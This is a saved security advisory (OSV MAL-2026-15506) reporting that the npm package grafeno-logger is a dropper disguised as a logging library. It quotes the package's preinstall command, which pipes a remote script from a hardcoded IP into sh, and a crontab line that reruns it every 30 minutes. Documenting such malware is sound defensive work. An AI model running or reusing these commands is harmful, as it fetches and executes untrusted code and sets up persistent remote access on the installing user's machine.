Malicious code in grafeno-logger (npm)
Historical advisory saved 24 Oct 2026 13:17:17 UTC. The publisher may have updated it since then. Latest advisory.
osv · MAL-2026-15506
Published--- _-= Per source details. Do not edit below this line.=-_ ## Source: amazon-inspector (6477042981913de82e89d0f0c3c5b1b278afd21c401922932eb8756427e1d413) [email protected] is a dropper disguised as a logging library. The package.json preinstall lifecycle hook runs `curl -s 216.126.236.46/x.sh | sh` via child_process.execSync, fetching and executing an arbitrary shell script from a hardcoded bare IP over plain HTTP on `npm install`. The same preinstall step appends a crontab entry `*/30 * * * * curl -s 216.126.236.46/x.sh | sh`, establishing recurring remote code execution every 30 minutes under the installing user. The shipped index.js is a two-line stub that re-exports console.log/console.error, providing no real logging functionality — the library surface is a decoy for the install-time payload.
- Source published
- 28 Aug 2026 23:01:35 UTC
- Source modified
- 29 Aug 2026 02:00:45 UTC
- Saved here
- 24 Oct 2026 13:17:17 UTC
- Source terms
- OSV · upstream source license applies
Original source record · Cite this exact observation · Complete original publisher JSON
Source: osv · OSV · upstream source license applies. The publisher's wording is preserved. ChangeIntel groups the information and labels changes. The JSON record includes additional source fields.